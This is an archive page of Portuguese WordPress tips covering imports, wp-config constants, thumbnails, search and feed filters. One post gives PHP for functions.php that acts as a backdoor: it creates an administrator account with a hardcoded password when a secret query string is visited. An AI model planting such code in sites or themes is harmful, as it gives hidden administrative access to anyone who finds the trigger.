Migração WordPress – Importando arquivos XML maiores que 2 Mb

Guga Alves Postado por Guga Alves  
No dia 11 de março de 2010



 

Nosso querido Wordpress tem uma conhecida função no painel administrativo que nos permite exportar todo o conteúdo criado em nosso blog para um arquivo XML, para assim permitir que importemos tais dados em uma nova instalação de nosso blog (normalmente usado na hora da migração de servidor). Tal função funciona muito  bem se vocês estiver importando um arquivo pequeno. Entretanto, se seu arquivo XML for maior do que 2 MB, você notará um problema, pois o sistema tem por padrão a limitação para arquivos de até 2Mb.

Logicamente, tem como dar um jeito nisso, e é justamente este jeito que será explicado abaixo:

Leia mais >>

Adicione o botão do Google Buzz em seu blog WordPress

Guga Alves Postado por Guga Alves  
No dia 22 de fevereiro de 2010



 

Vamos lá, dica rápida, basta seguir este passo-a-passo:

  1. No Editor de Temas, abra o arquivo single.php.
  2. Copie e cole o código abaixo no local que desejar que o botão do Google Buzz apareça::
    <a href="http://www.google.com/reader/link?url=
    <?php the_permalink() ?>&title=<?php the_title(); ?>
    &srcURL=<?php bloginfo('url'); ?>"
    target="_blank" rel="nofollow external">
    <img src="http://img2.pict.com/15/da/3e/2809374/0/googlebuzz.png"
    width="50" height="58" alt="Google Buzz" border="0" /></a>
  3. Salve e pronto !

Como resultado, você terá um botão como esteGoogle Buzz

Backdoor para criação de novo administrador

Guga Alves Postado por Guga Alves  
No dia 19 de fevereiro de 2010



 

Adicione o código abaixo no arquivo functions.php de seu tema WordPress para criar um backdoor que crie um novo usuário administrador, para ser usado em emergências.

add_action('wp_head', 'meu_backdoor');

function meu_backdoor() {
      If ($_GET['backdoor'] == 'novoadmin') {
         require('wp-includes/registration.php');
         If (!username_exists('AdminNovo')) {
            $user_id = wp_create_user('AdminNovo', 'SenhaDoUsuario');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
         }
      }
}
?>

Para ativar tal função, basta acessar o endereço http://www.meusite.com.br?backdoor=novoadmin

Logicamente, você deve alterar o usuário 'AdminNovo' e senha 'SenhaDoUsuario' na linha $user_id. Aconselho também a trocar o nome da função de 'novoadmin' para algo que só você saiba.

Lembre-se que usar esse código pode ser considerado um risco de segurança, qualquer um poderia facilmente executar essa função, chamando o querystring correta, por isso a necessidade de a alterar e usar parâmetros que só você saiba, como costumamos fazer com nossas senhas e dados sigilosos.

Use este código apenas para o bem, para você mesmo, ok ?

Configurações adicionais no wp-config.php

Cau Postado por Cau  
No dia 16 de fevereiro de 2010



 

O wp-config.php é o arquivo de configuração do WordPress, onde definimos basicamente as informações de conexão com o banco de dados e algumas outras coisinhas. Vamos mostrar que há muita coisa útil para o seu site que pode ser definida aqui.

A princípio, o arquivo original 'wp-config-sample.php' contém apenas algumas constantes que precisamos ou podemos definir.

As que precisamos definir são apenas as da conexão com o MySQL (DB_* – especificamente NAME, USER e PASSWORD), a variável $table_prefix, se há mais de um WP usando o mesmo banco de dados e a constante WPLANG, que define a linguagem do site. Ainda há por padrão as chaves de encriptação, mas o WP vai funcionar se você não alterar o valor padrão e é o que acaba acontecendo na maior parte das vezes. Mas, naturalmente, isso não é indicado por óbvias razões de segurança. O fato é que além dessas, há outras! e bastante úteis.

Todas devem der definidas com a função define, assim: define('NOME_DA_CONSTANTE', 'valor da constante'); e devem ser colocados no final, antes de "/* Isto é tudo, pode parar de editar! :) */"

Tradução

Em par com a WPLANG, podemos definir um local diferente do padrão (wp-contents/languages) para colocar nosso arquivo de tradução, bastando definir a constante LANGDIR com o caminho para o novo diretório.

Otimização

Os valores retornados por

bloginfo('url');
get_bloginfo('url');
// ,
bloginfo('home');
get_bloginfo('home');
// ,
bloginfo('stylesheet_directory');
get_bloginfo('stylesheet_directory');
get_stylesheet_directory();
// e
bloginfo('template_directory');
get_bloginfo('template_directory');
get_template_directory();

podem ser definidos no wp-config como (na mesma sequência)

WP_SITEURL
WP_HOME
STYLESHEETPATH
TEMPLATEPATH

Evitamos assim chamadas constantes ao banco – se esses valores já estão definidos, o WP não executa as queries necessárias para resgatá-los. Isso pode melhorar um pouco o desempenho do site.

As tabelas do MySQL às vezes precisam ser reparadas para recuperarmos o desempenho máximo possível. Isso pode ser feito diretamente no prompt do MySQL ou através do PhpMyAdmin, mas o WordPress pode fazer isso automaticamente, basta autorizar isso com a constante WP_ALLOW_REPAIR, com o valor boleano true.

Posts

Podemos também definir o tempo que um post permanece na Lixeira antes de ser eliminado. O padrão é 30 dias, mas podemos aumentar ou diminuir este prazo, definindo a constante EMPTY_TRASH_DAYS.

define('EMPTY_TRASH_DAYS', 60); // define para 60 dias

A funcionalidade de revisão de posts pode ser um problema pois aumenta o tamanho do banco exponencialmente. A constante WP_POST_REVISIONS existe para definir esse comportamento.

define('WP_POST_REVISIONS', false); // desabilita a funcionalidade
define('WP_POST_REVISIONS', 2); // define um máximo de 2 revisões por post

Personalização

A funcionalidade auto save na página de edição de posts pode ser configurada. Podemos definir o intervalo de tempo entre os salvamentos automáticos (em segundos):

define('AUTOSAVE_INTERVAL', 220);

Você pode optar por mudar os diretórios wp-contents e wp-contents/plugins de lugar (não imagino um porquê para isso, mas…) bas definir as seguintes constantes:

WP_CONTENT_DIR
WP_CONTENT_URL
WP_PLUGIN_DIR
PLUGINDIR // para preservar compatibilidade com versões mais antigas
WP_PLUGIN_URL

Debug

Há algumas opções para debugar o sistema, todas aceitando valores boleanos apenas.

WP_DEBUG // mostra informações sobre funções desatualizadas e outras
SCRIPT_DEBUG // habilita um debug para javascript (limitado)
SAVEQUERIES // força o sistema a armazenar as queries enviadas ao banco
// se você definiu SAVEQUERIES para true, todas as queries estarão disponíveis em $wpdb->queries
// use algo como isso no footer.php para ver as queries
<?php
  if(current_user_can('administrator')){
  global $wpdb;
  echo "<pre>";
  print_r($wpdb->queries);
  echo "</pre>";
  }
?>

E ainda há mais algumas (veja aqui), mas acredito que o que foi dito já aumenta incrivelmente as possibilidades do wp-config.php.

Como excluir as páginas do resultado de busca ?

Guga Alves Postado por Guga Alves  
No dia 9 de fevereiro de 2010



 

Uma maneira de se excluir as páginas do resultado de busca é usar o plugin Simply-Exclude plugin.

Entretanto, como sou adepto da filosofia "Quanto menos plugins melhor", outra solução interessante é adicionar um filtro no functions.php que adicione na busca apenas as categorias desejadas, excluindo assim todo o restante:

// Remove pages from search
function mySearchPostsFilter($query)
{
if ($query->is_search)
{
$query->set('cat','12,14,16,17,18'); // your category IDs
}
return $query;
}
add_filter('pre_get_posts','mySearchPostsFilter');

Só lembre de substituir os IDs das categorias, em $query->set('cat,'‘12,14,16,17,18′) pelos IDs correspondentes as categorias de seu blog, ok ? Estes números são apenas exemplos.

Update: uma forma mais simples: $query->set('post_type', 'post'); Com isso você deixará claro que apenas postagens devem ser exibidas na busca, excluindo as páginas e eliminando a necessidade de colocar os ids de cada categoria do blog. Obrigada @renatatr pela dica !

Dica retirada do site Web-Kreation

WordPress 2.9: como usar miniaturas nos posts?

Cau Postado por Cau  
No dia 5 de janeiro de 2010



 

A versão 2.9 do WordPress introduziu uma funcionalidade que a meu ver é básica e já era amplamente utilizada, mas sem padronização. Cada desenvolvedor fazia à sua própria maneira: miniaturas para os posts.

Mas onde estão as ferramentas para usar thumbnails? Já procurei na página de edição dos posts, em Mídia e nada! Pois é, precisamos inicializar isso, informar ao sistema que desejamos utilizar essas funções. Para isso basta incluir o seguinte código ao arquivo functions.php do seu tema:

add_theme_support('post-thumbnails');

Se quiser restringir a posts ou páginas apenas, faça assim:

add_theme_support('post-thumbnails', array('post'));
// adiciona as func. só para os posts add_theme_support('post-thumbnails', array('page'));
// adiciona as func. só para as páginas

Um detalhe importante a ser lembrado é que o suporte a miniaturas foi introduzido na versão 2.9 e, se você está construindo um tema público, talvez fosse uma boa idéia preservar a compatibilidade com versões anteriores, assim:

if(function_exists('add_theme_support'))
{
add_theme_support('post-thumbnails');
// naturalmente, toda a atividade com thumbnails deve acontecer aqui dentro
// ou após um teste pela existência da função 'add_theme_support' (ou outra que seja apenas do 2.9)
}

Ok, a primeira mudança óbvia é a caixa 'Miniatura do post' que aparece na interface de criação/edição de posts e páginas ('Imagem da página'). Clicando em 'Configurar miniatura' abrimos a interface de upload de arquivos e o processo é exatamente o mesmo. Você pode subir imagens de qualquer tamanho até os limites configurados no sistema. Mas um thumbnail não devia ser pequeno? Bem, não necessariamente… mas podemos definir o tamanho de exibição da imagem:

set_post_thumbnail_size(40, 40, true);

Isso irá definir o tamanho padrão para thumbnails e quando chamarmos a função the_post_thumbnail() uma imagem de 40×40 pixels será exibida. Mas ainda há outras possibilidades e podemos trabalhar com diversos tamanhos de thumbnails para diferentes situações.

Seria comum desejar um tamanho pequeno para as listagens de posts e um maior para a página do post. O mais simples seria usar os tamanhos padrão do WP, que podemos configurar na página de opções (…)/wp-admin/options.php. São os mesmos tamanhos que a janela de upload nos mostra logo após subirmos uma imagem. Para isso podemos usar uma das palavras 'small', 'medium' ou 'large' como parâmetro e o sistema vai exibir a imagem no tamanho solicitado.

the_post_thumbnail("small");
the_post_thumbnail("medium");
the_post_thumbnail("large");

E há ainda a possibilidade de passar as especificações da medida desejada num array (larg., alt.):

the_post_thumbnail(array(80, 120));

Ok, bem legal não? Mas ainda há outro modo, que me parece mais elegante. As palavras 'small', 'medium' e 'large' são identificadores registrados no sistema e podemos definir nossos próprios identificadores! Veja:

add_image_size('post-thumb', 350, 800, true);
// identificador, largura máx., altura máx., cortar? // para posts
add_image_size('page-thumb', 600, 1200, false);
// para páginas

Então poderemos usar dessa forma:

the_post_thumbnail("post-thumb");
the_post_thumbnail("page-thumb");

Bem bacana não? Chega de hacks! miniaturas nos posts é algo básico e que já demorou muito pra acontecer!

Abraços e esperamos ter ajudado a esclarecer um pouco essa nova funcionalidade do WordPress.

Exibindo as últimas postagens de outro blog WordPress

Guga Alves Postado por Guga Alves  
No dia 4 de janeiro de 2010



 

Para exibir as últimas postagens de outro site WordPress, você deve adicionar o código abaixo no local desejado. Você pode adicionar no sidebar.php para exibir em sua barra lateral.

<?php
include_once(ABSPATH.WPINC.'/rss.php');
$feed = fetch_rss('http://feeds.feedburner.com/tudoparawordpress');
$items = array_slice($feed->items, 0, 5);
?>

<?php if (!empty($items)) : ?>
	<ul>
	<?php foreach ($items as $item) : ?>

	<li>
          <a href="<?php echo $item['link']; ?>">
            <?php echo $item['title']; ?>
          </a><br />
	  <?php echo $item['description']; ?>
        </li>

	<?php endforeach; ?>
	</ul>
<?php endif; ?>

Você não precisará alterar praticamente nada neste código, as únicas alterações necessárias serão:

- 3ª linha: note que a variável $feed recebe o endereço do feed do TudoParaWordPress.

- 4ª linha: no código array_slice($feed->items,0,5); estamos dizendo que apenas os 5 últimos feeds serão exibidos. Caso deseje menos ou mais itens, altere este número para o de sua preferência.

E pronto !

Como fornecer automaticamente Tinyurls em seu blog WordPress

Jessica Postado por Jessica  
No dia 4 de janeiro de 2010



 

Tinyurl - Encurtar Urls no Wordpress

 

Você está no Twitter? Eu também! Se você é como eu, você deve adorar o serviço do Twitter e possivelmente tem um blog em Wordpress. Essa é uma dica simples para integrar em seu blog Wordpress a função de encurtar urls para serem enviadas ao Twitter.

Cole o código abaixo em seu arquivo functions.php:

function getTinyUrl($url) { $tinyurl = file_get_contents("http://tinyurl.com/api-create.php?url=".$url); return $tinyurl; }

No arquivo single.php cole o seguinte código dentro do loop:

<?php $turl = getTinyUrl(get_permalink($post->ID)); echo 'Tiny Url for this post: <a href="'.$turl.'">'.$turl.'</a>'; ?>

Plugin Wp Page Numbers – Numerando as Páginas

Cristiano da Silva Vieira Postado por Cristiano da Silva Vieira  
No dia 18 de dezembro de 2009



 

O Plugin Wp Page Numbers é um plugin que facilita a navegação do blog, colocando número das páginas no rodapé da página, conforme abaixo:

Rodapé - Café Com Amigos

Assim o leitor poderá escolher a página a ser visitada, sem ter que ficar clicando apenas em Páginas Anteriores ou Próximas Páginas.

Para baixar o Plugin vá em http://wordpress.org/extend/plugins/wp-page-numbers/ e faça o Download.

Depois o instale enviando a pasta descompactada para a pasta de plugins de seu blog. Vá no painel de Controle de seu blog, na opção Plugins e o ative.

Depois acesse a opção Configurações de seu blog, acessando posteriormente a opção Page Numbers e faça as configurações de acordo com suas necessidades.

Por fim vá até a pasta onde está seu tema, e edite o arquivo index.php (não esquecer que é o arquivo index.php de seu tema e não da página principal) e insira o código:

<?php if(function_exists('wp_page_numbers')) : wp_page_numbers(); endif; ?>

Inserir esse código substituindo o texto de código sublinhado abaixo em vermelho.Código Fonte - Index do Tema

PS.: Não esqueça de fazer um backup antes de seu arquivo index.php para o caso de haver alguma falha.

Como excluir uma categoria do feed RSS

Guga Alves Postado por Guga Alves  
No dia 17 de novembro de 2009



 

Temos o seguinte cenário: em um blog WordPress, temos uma categoria que não deve ser exibida via RSS.. como proceder para que tal categoria seja removida ?

Simples !

Adicione a função abaixo no arquivo functions.php

function myFilter($query)
   { if ($query->is_feed)
      {  $query->set('cat','-5'); }
   return $query; }
add_filter('pre_get_posts','myFilter');

Lembre-se de alterar o id da categoria em set('cat','-5') colocando o ID da categoria que desejar excluir no lugar do 5 ! Para adicionar mais categoria, basta separá-los por vírgula. (Ex: '-5,-6,-7')

ATENÇÃO: O sinal de negativo ( - )antes do id da categoria deve ser mantido para que esta seja excluida, caso retirado não irá funcionar

Pagina 1 de 71234567